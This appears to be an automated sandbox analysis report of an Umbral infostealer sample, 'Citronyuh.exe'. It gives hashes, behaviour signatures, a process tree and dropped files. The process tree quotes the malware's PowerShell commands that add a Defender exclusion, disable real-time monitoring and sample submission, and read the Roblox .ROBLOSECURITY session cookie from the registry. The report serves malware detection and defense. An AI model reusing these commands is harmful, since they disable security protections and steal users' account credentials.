Analysis

  • max time kernel
    12s
  • max time network
    13s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    12-08-2024 09:27

General

  • Target

    citrontoppest/citrontoppest/Citronyuh.exe

  • Size

    227KB

  • MD5

    867db374eb53605b40be55b3c1541e3c

  • SHA1

    26999780ea28d4902f2d4350bbbf5dab63591fd5

  • SHA256

    ca03916c2b0b804c70ab17755265b3db48fa97480aad3494764f45a1e746bb31

  • SHA512

    5210541fc651210c6aae04c78347db84c8e09a4f320e072f390d63fd03587d2764548ca82b41e23631457e852b093e5af3152275b636d55aa58212d6b48e14a0

  • SSDEEP

    6144:eloZMLrIkd8g+EtXHkv/iD4emzBywvrYyhkijD6C+b8e1m8i:IoZ0L+EP8emzBywvrYyhkijD6R6

Malware Config

Signatures

  • Detect Umbral payload 1 IoCs
  • Umbral

    Umbral stealer is an opensource moduler stealer written in C#.

  • Credentials from Password Stores: Credentials from Web Browsers 1 TTPs

    Malicious Access or copy of Web Browser Credential store.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Drops file in Drivers directory 1 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: EnumeratesProcesses 13 IoCs
  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 26 IoCs
  • Suspicious use of SendNotifyMessage 24 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\citrontoppest\citrontoppest\Citronyuh.exe
    "C:\Users\Admin\AppData\Local\Temp\citrontoppest\citrontoppest\Citronyuh.exe"
    1⤵
    • Drops file in Drivers directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3148
    • C:\Windows\System32\Wbem\wmic.exe
      "wmic.exe" csproduct get uuid
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:3740
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\citrontoppest\citrontoppest\Citronyuh.exe'
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1596
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4436
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3592
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2880
    • C:\Windows\System32\Wbem\wmic.exe
      "wmic.exe" os get Caption
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:4764
    • C:\Windows\System32\Wbem\wmic.exe
      "wmic.exe" computersystem get totalphysicalmemory
      2⤵
        PID:3476
      • C:\Windows\System32\Wbem\wmic.exe
        "wmic.exe" csproduct get uuid
        2⤵
          PID:3292
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
          2⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          PID:4304
        • C:\Windows\System32\Wbem\wmic.exe
          "wmic" path win32_VideoController get name
          2⤵
          • Detects videocard installed
          PID:2740
      • C:\Program Files\Google\Chrome\Application\chrome.exe
        "C:\Program Files\Google\Chrome\Application\chrome.exe"
        1⤵
        • Enumerates system info in registry
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of SendNotifyMessage
        • Suspicious use of WriteProcessMemory
        PID:2680
        • C:\Program Files\Google\Chrome\Application\chrome.exe
          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=123.0.6312.123 --initial-client-data=0x118,0x11c,0x120,0xf4,0x124,0x7fffee19cc40,0x7fffee19cc4c,0x7fffee19cc58
          2⤵
            PID:4888
          • C:\Program Files\Google\Chrome\Application\chrome.exe
            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-appcompat-clear --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=2132,i,15928759684348595595,10228327049437850289,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=2128 /prefetch:2
            2⤵
              PID:3268
            • C:\Program Files\Google\Chrome\Application\chrome.exe
              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=2028,i,15928759684348595595,10228327049437850289,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=2176 /prefetch:3
              2⤵
                PID:3612
              • C:\Program Files\Google\Chrome\Application\chrome.exe
                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=2320,i,15928759684348595595,10228327049437850289,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=2292 /prefetch:8
                2⤵
                  PID:3704
                • C:\Program Files\Google\Chrome\Application\chrome.exe
                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=3144,i,15928759684348595595,10228327049437850289,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=3164 /prefetch:1
                  2⤵
                    PID:5112
                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=3208,i,15928759684348595595,10228327049437850289,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=3188 /prefetch:1
                    2⤵
                      PID:1988
                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=3708,i,15928759684348595595,10228327049437850289,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=4580 /prefetch:1
                      2⤵
                        PID:4488
                    • C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe
                      "C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe"
                      1⤵
                        PID:924

                      Network

                      MITRE ATT&CK Enterprise v15

                      Replay Monitor

                      Loading Replay Monitor...

                      Downloads

                      • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports

                        Filesize

                        2B

                        MD5

                        d751713988987e9331980363e24189ce

                        SHA1

                        97d170e1550eee4afc0af065b78cda302a97674c

                        SHA256

                        4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945

                        SHA512

                        b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af

                      • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

                        Filesize

                        2KB

                        MD5

                        d85ba6ff808d9e5444a4b369f5bc2730

                        SHA1

                        31aa9d96590fff6981b315e0b391b575e4c0804a

                        SHA256

                        84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

                        SHA512

                        8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

                      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                        Filesize

                        944B

                        MD5

                        6d3e9c29fe44e90aae6ed30ccf799ca8

                        SHA1

                        c7974ef72264bbdf13a2793ccf1aed11bc565dce

                        SHA256

                        2360634e63e8f0b5748e2c56ebb8f4aa78e71008ea7b5c9ca1c49be03b49557d

                        SHA512

                        60c38c4367352537545d859f64b9c5cbada94240478d1d039fd27b5ecba4dc1c90051557c16d802269703b873546ead416279c0a80c6fd5e49ad361cef22596a

                      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                        Filesize

                        948B

                        MD5

                        17d8127be94d3c1b6fcc9a4ed585003e

                        SHA1

                        789874fcc7c778c723f3e89822d8cc8750c6c4c8

                        SHA256

                        ea357ad1f95863b3618d31e5b0f90495331f64de2b784d9e185b48668c937a7b

                        SHA512

                        bb18b6d07d82227f5cfbe3eb460df79ec892c560ad2964dcd4782aa26336ae15059843bf46a739bdd4a4daa58057f99102531a756a1cf434ce6449b3cd35a98e

                      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                        Filesize

                        1KB

                        MD5

                        276798eeb29a49dc6e199768bc9c2e71

                        SHA1

                        5fdc8ccb897ac2df7476fbb07517aca5b7a6205b

                        SHA256

                        cd0a1056e8f1b6cb5cb328532239d802f4e2aa8f8fcdc0fcb487684bd68e0dcc

                        SHA512

                        0d34fce64bbefc57d64fa6e03ca886952263d5f24df9c1c4cce6a1e8f5a47a9a21e9820f8d38caa7f7b43a52336ce00b738ea18419aaa7c788b72e04ce19e4f2

                      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                        Filesize

                        1KB

                        MD5

                        b97dcce26bfd19481f2589acb5d5c53e

                        SHA1

                        78483c36b9f76b7ad21783655f11451546d83157

                        SHA256

                        78cdcbbae48288a069928c697f6c6b1829c3b458c212ef450dfb8fb5bfb60aa4

                        SHA512

                        b1b4d6ea7c4df0298eb5ad000783bceb0865ae4429e14f90fc95334c144e6e0d100d8432c3d6145154c72b46eafb7e3c6c4263483d9e7347d7d91b11b25d68a2

                      • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_gadb3sbi.syt.ps1

                        Filesize

                        60B

                        MD5

                        d17fe0a3f47be24a6453e9ef58c94641

                        SHA1

                        6ab83620379fc69f80c0242105ddffd7d98d5d9d

                        SHA256

                        96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                        SHA512

                        5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                      • C:\Windows\system32\drivers\etc\hosts

                        Filesize

                        2KB

                        MD5

                        4028457913f9d08b06137643fe3e01bc

                        SHA1

                        a5cb3f12beaea8194a2d3d83a62bdb8d558f5f14

                        SHA256

                        289d433902418aaf62e7b96b215ece04fcbcef2457daf90f46837a4d5090da58

                        SHA512

                        c8e1eef90618341bbde885fd126ece2b1911ca99d20d82f62985869ba457553b4c2bf1e841fd06dacbf27275b3b0940e5a794e1b1db0fd56440a96592362c28b

                      • memory/1596-15-0x00007FFFDF4B0000-0x00007FFFDFF71000-memory.dmp

                        Filesize

                        10.8MB

                      • memory/1596-18-0x00007FFFDF4B0000-0x00007FFFDFF71000-memory.dmp

                        Filesize

                        10.8MB

                      • memory/1596-4-0x00007FFFDF4B0000-0x00007FFFDFF71000-memory.dmp

                        Filesize

                        10.8MB

                      • memory/1596-3-0x00007FFFDF4B0000-0x00007FFFDFF71000-memory.dmp

                        Filesize

                        10.8MB

                      • memory/1596-14-0x000001BAA0490000-0x000001BAA04B2000-memory.dmp

                        Filesize

                        136KB

                      • memory/3148-35-0x00000157FB4C0000-0x00000157FB4DE000-memory.dmp

                        Filesize

                        120KB

                      • memory/3148-0-0x00000157F8F10000-0x00000157F8F50000-memory.dmp

                        Filesize

                        256KB

                      • memory/3148-72-0x00000157FB680000-0x00000157FB692000-memory.dmp

                        Filesize

                        72KB

                      • memory/3148-71-0x00000157FB4F0000-0x00000157FB4FA000-memory.dmp

                        Filesize

                        40KB

                      • memory/3148-2-0x00007FFFDF4B0000-0x00007FFFDFF71000-memory.dmp

                        Filesize

                        10.8MB

                      • memory/3148-90-0x00007FFFDF4B0000-0x00007FFFDFF71000-memory.dmp

                        Filesize

                        10.8MB

                      • memory/3148-34-0x00000157FB630000-0x00000157FB680000-memory.dmp

                        Filesize

                        320KB

                      • memory/3148-33-0x00000157FB6B0000-0x00000157FB726000-memory.dmp

                        Filesize

                        472KB

                      • memory/3148-1-0x00007FFFDF4B3000-0x00007FFFDF4B5000-memory.dmp

                        Filesize

                        8KB